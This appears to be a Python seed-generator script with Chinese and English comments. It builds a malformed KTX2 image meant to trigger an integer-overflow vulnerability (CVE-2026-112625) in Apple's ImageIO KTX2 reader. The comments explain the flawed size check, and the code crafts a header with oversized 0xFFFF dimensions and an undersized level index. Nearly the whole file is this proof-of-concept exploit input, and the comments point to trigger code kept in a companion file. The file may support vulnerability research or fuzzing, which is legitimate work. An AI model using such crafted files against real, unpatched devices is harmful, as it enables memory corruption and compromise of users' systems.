47 lines
2.0 KiB
Python
47 lines
2.0 KiB
Python
#!/usr/bin/env python3
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# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
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# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process
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#
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# [zh] KTX2 维度/层级尺寸运算
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# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护，且既有检查所依据的量本身是错的（使用 channels 而非源 bpp）。27.2 增加 \"image
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# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
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#
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# [en] KTX2 dimension and level size arithmetic
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# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
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# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image
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# dimensions overflow" and "expected %llu bytes" gates.
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#
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# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
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# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112625.swift
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# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder
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import struct
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# --------------------------------------------------------------------------- KTX2
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def build_ktx2():
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ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A])
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vk_format = 0 # 0 => block-compressed via DFD
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type_size = 1
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w, h = 0xFFFF, 0xFFFF
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depth, layers, faces, levels = 0, 0, 1, 1
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scheme = 0
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kvd_off, kvd_len = 0, 0
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sgdt_off, sgdt_len = 0, 0
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header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme)
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header += struct.pack("<IQ", kvd_off, kvd_len)
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header += struct.pack("<IQQ", sgdt_off, sgdt_len, 0)
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# level index: one level, claiming a tiny byteOffset/byteLength
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level_index = struct.pack("<QQQ", 0, 0, 64)
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body = b"\x00" * 64
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return ident + header + level_index + body
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# --------------------------------------------------------------------------- DDS BC7
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if __name__ == "__main__":
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import sys
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out = sys.argv[1] if len(sys.argv) > 1 else "ktx2_bad_dims.ktx2"
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open(out, "wb").write(build_ktx2())
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print("wrote", out)
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